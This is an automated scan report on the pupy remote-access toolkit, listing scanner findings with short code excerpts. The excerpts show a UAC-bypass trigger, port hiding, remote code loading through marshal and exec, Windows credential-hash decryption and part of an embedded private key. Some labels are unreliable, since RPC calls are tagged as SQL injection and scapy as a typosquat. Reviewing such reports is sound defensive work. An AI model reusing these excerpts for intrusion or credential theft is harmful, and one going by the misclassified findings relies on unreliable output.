Scan report
n1nj4sec / pupy
Could an attacker exploit mistakes in this code?
Strong warning signs. Do not run or install this without a careful review.
- High
- 85
- Medium
- 193
- Low
- 142
Sources: Bandit, Semgrep, pip-audit
Does this code look like it is trying to cause harm?
Strong warning signs. Do not run or install this without a careful review.
- High
- 27
- Medium
- 58
- Low
- 16
Sources: YARA, ClamAV, GuardDog, dependency checker
- Likely real
- 247
- Uncertain
- 126
- Likely noise
- 148
The risk classifier rates every finding for how likely it is to be a real issue. Likely noise still counts, just much less.
What we found, in plain English
This repository has been flagged as extremely dangerous because it contains multiple critical vulnerabilities that could allow attackers to steal data, execute code, or destroy files on the server. The scan identified specific issues such as using shell commands with 'shell=True' which lets attackers run arbitrary system commands, and a deprecated library called pyCrypto that is no longer secure. These findings indicate that the code likely contains malicious intent rather than just poor security practices, as it uses suspicious techniques like downloading and executing remote files to hide its true purpose. While some issues are related to outdated libraries, the presence of these high-confidence threats means the project should not be used in any production environment without a complete rewrite by a security expert.
Written by a local language model from the findings below. The risk scores come from the classifier, not from this summary.
Detections by engine
Score over time
Overall score each time this repository was scanned.
Findings
Highest severity first. Select a finding to see the code and what it means.
Large result: showing the top 414 of 521 findings (up to 200 per engine, most severe and most likely real first). Totals above include everything.
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /client/sources-linux-py3/main_so.c line 122
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
unlink(ldpreload); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 21
- Likely real
- Yes, 99% confidence
Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
return subprocess.call("type " + cmd, shell=True, -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 1040
- Likely real
- Yes, 99% confidence
Found 'subprocess' function 'check_call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
shell=True -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/proxies.py line 237
- Likely real
- Yes, 99% confidence
Detects suspicious autostart persistence mechanisms [threat-filesystem-autostart]
for user in pwd.getpwall(): for profile in ('.bashrc', '.profile'): content = _try_read(os.path.join(user.pw_dir, profile)) if content: -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/proxies.py line 199
- Likely real
- Yes, 99% confidence
Detects suspicious autostart persistence mechanisms [threat-filesystem-autostart]
try: return open(path).read() except (OSError, IOError): return None -
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /pupy/modules/lib/windows/powershell.py
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.Powershell-7007230-1
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /pupy/external/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.PSempireInj-7013548-0
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/ecm.py line 20
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module AES are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
19 20 from Crypto.Cipher import AES 21 from Crypto.Hash import SHA3_224 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 23
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Crypto.Cipher are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
22 import cPickle 23 import Crypto.Cipher 24 import Crypto.Cipher.AES -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/secretstorage/util.py line 46
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Cipher are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
45 SecretServiceNotAvailableException 46 from Crypto import Cipher 47 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/__init__.py line 30
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module HMAC are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
29 from Crypto.Cipher import ARC4 30 from Crypto.Hash import HMAC 31 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/domcachedump.py line 31
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module ARC4 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
30 from Crypto.Hash import HMAC 31 from Crypto.Cipher import ARC4, AES 32 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/domcachedump.py line 30
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module HMAC are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
29 30 from Crypto.Hash import HMAC 31 from Crypto.Cipher import ARC4, AES -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 36
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module AES are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
35 try: 36 from Crypto.Cipher import AES 37 from Crypto import Random -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/aes.py line 61
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module AES are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
60 try: 61 from Crypto.Cipher import AES 62 from Crypto.Util import Counter -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 2
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module AES are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
1 from collections import OrderedDict 2 from Crypto.Cipher import AES 3 from Crypto.Hash import HMAC -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 4
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module SHA256 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
3 from Crypto.Hash import HMAC 4 from Crypto.Hash import SHA256 5 from Crypto.Hash import SHA256, HMAC -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 3
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module HMAC are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
2 from Crypto.Cipher import AES 3 from Crypto.Hash import HMAC 4 from Crypto.Hash import SHA256 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/secretstorage/item.py line 21
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Cipher are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
20 open_session, format_secret, to_unicode, unlock_objects 21 from Crypto import Cipher 22 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/rdp_check.py line 32
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module ARC4 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
31 from binascii import a2b_hex 32 from Crypto.Cipher import ARC4 33 from impacket import ntlm -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/ecm.py line 23
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module get_random_bytes are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
22 from Crypto.Hash import SHA384 23 from Crypto.Random import get_random_bytes 24 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/ecm.py line 22
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module SHA384 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
21 from Crypto.Hash import SHA3_224 22 from Crypto.Hash import SHA384 23 from Crypto.Random import get_random_bytes -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/ecm.py line 21
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module SHA3_224 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
20 from Crypto.Cipher import AES 21 from Crypto.Hash import SHA3_224 22 from Crypto.Hash import SHA384 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/aes.py line 62
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Counter are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
61 from Crypto.Cipher import AES 62 from Crypto.Util import Counter 63 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/__init__.py line 29
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module ARC4 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
28 from Crypto.Random import get_random_bytes as get_random 29 from Crypto.Cipher import ARC4 30 from Crypto.Hash import HMAC -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py3/Crypto/Util/_raw_api.py line 41
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module pycryptodome_filename are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
40 from Crypto.Util.py3compat import byte_string 41 from Crypto.Util._file_system import pycryptodome_filename 42 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 5
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module SHA256 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
4 from Crypto.Hash import SHA256 5 from Crypto.Hash import SHA256, HMAC 6 from Crypto import Random -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 7
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module PBKDF2 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
6 from Crypto import Random 7 from Crypto.Protocol.KDF import PBKDF2 8 from Crypto.Util import Counter -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 8
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Counter are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
7 from Crypto.Protocol.KDF import PBKDF2 8 from Crypto.Util import Counter 9 from cStringIO import StringIO -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 24
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Crypto.Cipher.AES are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
23 import Crypto.Cipher 24 import Crypto.Cipher.AES 25 import Crypto.Hash.HMAC -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 25
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Crypto.Hash.HMAC are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
24 import Crypto.Cipher.AES 25 import Crypto.Hash.HMAC 26 import Crypto.Hash.SHA256 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 26
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Crypto.Hash.SHA256 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
25 import Crypto.Hash.HMAC 26 import Crypto.Hash.SHA256 27 import Crypto.Util.Counter -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 27
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Crypto.Util.Counter are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
26 import Crypto.Hash.SHA256 27 import Crypto.Util.Counter 28 import datetime -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 27
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module ARC4 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
26 from Crypto.Hash import MD5 27 from Crypto.Cipher import ARC4,DES,AES 28 from struct import unpack,pack -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/lsasecrets.py line 26
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module ARC4 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
25 from Crypto.Hash import MD5, SHA256 26 from Crypto.Cipher import ARC4,DES, AES 27 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py2/Crypto/Util/_raw_api.py line 40
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module byte_string are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
39 40 from Crypto.Util.py3compat import byte_string 41 from Crypto.Util._file_system import pycryptodome_filename -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py2/Crypto/Util/_raw_api.py line 41
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module pycryptodome_filename are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
40 from Crypto.Util.py3compat import byte_string 41 from Crypto.Util._file_system import pycryptodome_filename 42 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py3/Crypto/Util/_raw_api.py line 40
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module byte_string are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
39 40 from Crypto.Util.py3compat import byte_string 41 from Crypto.Util._file_system import pycryptodome_filename -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/__init__.py line 28
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module get_random_bytes are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
27 try: 28 from Crypto.Random import get_random_bytes as get_random 29 from Crypto.Cipher import ARC4 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/domcachedump.py line 45
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.ARC4.new. Replace with a known secure cipher such as AES.
44 45 rc4 = ARC4.new(rc4key) 46 data = rc4.encrypt(edata) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 179
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.DES.new. Replace with a known secure cipher such as AES.
178 (des_k1,des_k2) = sid_to_key(rid) 179 d1 = DES.new(des_k1, DES.MODE_ECB) 180 d2 = DES.new(des_k2, DES.MODE_ECB) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/rdp_check.py line 335
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.ARC4.new. Replace with a known secure cipher such as AES.
334 self.__clientSealingKey = randomSessionKey 335 cipher = ARC4.new(self.__clientSigningKey) 336 self.__clientSealingHandle = cipher.encrypt -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/rdp_check.py line 325
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.ARC4.new. Replace with a known secure cipher such as AES.
324 # Preparing the keys handle states 325 cipher3 = ARC4.new(self.__clientSealingKey) 326 self.__clientSealingHandle = cipher3.encrypt -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 151
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.ARC4.new. Replace with a known secure cipher such as AES.
150 151 rc4 = ARC4.new(rc4_key) 152 hbootkey = rc4.encrypt(F[0x80:0xA0]) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 180
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.DES.new. Replace with a known secure cipher such as AES.
179 d1 = DES.new(des_k1, DES.MODE_ECB) 180 d2 = DES.new(des_k2, DES.MODE_ECB) 181 md5 = MD5.new() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 184
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.ARC4.new. Replace with a known secure cipher such as AES.
183 rc4_key = md5.digest() 184 rc4 = ARC4.new(rc4_key) 185 obfkey = rc4.encrypt(enc_hash) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 194
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.DES.new. Replace with a known secure cipher such as AES.
193 (des_k1,des_k2) = sid_to_key(rid) 194 d1 = DES.new(des_k1, DES.MODE_ECB) 195 d2 = DES.new(des_k2, DES.MODE_ECB) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 195
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.DES.new. Replace with a known secure cipher such as AES.
194 d1 = DES.new(des_k1, DES.MODE_ECB) 195 d2 = DES.new(des_k2, DES.MODE_ECB) 196 cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/lsasecrets.py line 57
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.ARC4.new. Replace with a known secure cipher such as AES.
56 rc4key = md5.digest() 57 rc4 = ARC4.new(rc4key) 58 lsa_key = rc4.decrypt(obf_lsa_key[12:60]) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/lsasecrets.py line 79
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.DES.new. Replace with a known secure cipher such as AES.
78 79 des = DES.new(des_key, DES.MODE_ECB) 80 decrypted_data += des.decrypt(enc_block) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/rdp_check.py line 327
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.ARC4.new. Replace with a known secure cipher such as AES.
326 self.__clientSealingHandle = cipher3.encrypt 327 cipher4 = ARC4.new(self.__serverSealingKey) 328 self.__serverSealingHandle = cipher4.encrypt -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/psexec.py line 49
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module DES are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
48 49 from Crypto.Cipher import DES 50 assert(DES) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 37
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Random are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
36 from Crypto.Cipher import AES 37 from Crypto import Random 38 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 6
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module Random are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
5 from Crypto.Hash import SHA256, HMAC 6 from Crypto import Random 7 from Crypto.Protocol.KDF import PBKDF2 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/__init__.py line 33
- Likely real
- Yes, 98% confidence
Use of insecure cipher Crypto.Cipher.ARC4.new. Replace with a known secure cipher such as AES.
32 def RC4(key): 33 return ARC4.new(key) 34 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ssh.py line 864
- Likely real
- Yes, 96% confidence
Paramiko call with policy set to automatically trust the unknown host key.
863 864 client.set_missing_host_key_policy(AutoAddPolicy()) 865 client.load_system_host_keys() -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/packages/linux/all/linux_stealth.py line 47
- Likely real
- Yes, 95% confidence
Detects download-and-execute patterns: fetching a remote file then executing it [threat-process-download-exec]
newss.close() os.system("chmod +x "+path+"ss") else: print("port is already hidden") -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/modules/lock_screen.py line 27
- Likely real
- Yes, 95% confidence
Detects download-and-execute patterns: fetching a remote file then executing it [threat-process-download-exec]
elif self.client.is_darwin(): ok = self.client.conn.modules.subprocess.Popen( '/System/Library/CoreServices/Menu Extras/User.menu/Contents/Resources/CGSession -suspend', ... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/modules/lock_screen.py line 27
- Likely real
- Yes, 95% confidence
Detects download-and-execute patterns: fetching a remote file then executing it [threat-process-download-exec]
elif self.client.is_darwin(): ok = self.client.conn.modules.subprocess.Popen( '/System/Library/CoreServices/Menu Extras/User.menu/Contents/Resources/CGSession -suspend', s... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/agent/__init__.py line 346
- Likely real
- Yes, 91% confidence
Detects dynamic import chains used to obfuscate code execution [threat-runtime-obfuscation-import-exec]
try: exec (marshal.loads(bytes(content)), dst) except Exception as e: message = str(e) -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 15
- Likely real
- Yes, 91% confidence
Typosquatting: 'scapy' is suspiciously similar to 'scrapy'
scapy -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 315
- Likely real
- Yes, 67% confidence
tarfile.extractall used without any validation. Please check and discard dangerous members.
314 names = tfr.getnames() 315 tfr.extractall(tempdir) 316 for root, dirs, files in os.walk(tempdir): -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/rubber_ducky.py line 61
- Likely real
- Yes, 54% confidence
Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/windows/all/pupwinutils/bypassuac_registry.py line 76
- Likely real
- Yes, 54% confidence
Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
subprocess.check_output(eventvwrPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/windows/all/pupwinutils/bypassuac_registry.py line 43
- Likely real
- Yes, 54% confidence
Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
subprocess.check_output(triggerPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/posix/all/sudo_alias.py line 152
- Likely real
- Yes, 54% confidence
Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCmd.py line 208
- Likely real
- Yes, 53% confidence
Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
pipe, shell=True, -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCmd.py line 101
- Likely real
- Yes, 53% confidence
Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
pipe, shell=True, -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyServer.py line 659
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
conn.execute( 'exec({})'.format( reprb( open(path.join( ROOT, "pupylib", 'PupyClientInitializer.py' ), 'r').read() ) ) ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyServer.py line 671
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
conn.execute( 'import marshal;exec(marshal.loads({}))'.format( reprb( pupycompile( path.join( ROOT, "pupylib", 'PupyClientInitializer.py' ), path=True, raw=True, target=conn.remote_version ) ) ) ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/modules/pyexec.py line 49
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
self.client.conn.execute(code+"\n") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/modules/pyexec.py line 52
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
self.client.conn.execute(code+"\n") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/odbc.py line 252
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
cursor.execute('SELECT * FROM {} WHERE 1=0'.format(table)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/webstatic/rdesktop/rdesktop.js line 11
- Likely real
- Yes, 51% confidence
Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections.
var url="ws://"+window.location.hostname+":"+port+"/"+window.location.pathname.split("/",2)[1]+"/ws"; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 313
- Likely real
- Uncertain, 47% confidence
Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker
with tarfile.open(arcpath, 'r') as tfr: names = tfr.getnames() tfr.extractall(tempdir) for root, dirs, files in os.walk(tempdir): for dir in dirs: os.chmod(os.path.join(root, dir), 0o700) for file in files: os.chmod(os.path.join(root, file), 0o600) with tarfile.open(arcpath+'2', 'w:gz') as tfw: for n in names: if n != arcname: tfw.add( os.path.join(tempdir, n), arcname=n, recursive=False ) else: tfw.add( file_path, arcname=n, recursive=False ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/transports/__init__.py line 71
- Likely real
- Uncertain, 45% confidence
Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file.
-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDcqttkD+a+YvSd -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/launchers/dnscnc.py line 86
- Likely real
- Uncertain, 36% confidence
Starting a process with a shell, possible injection detected, security issue.
85 86 os.system(tmp_path) 87 -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
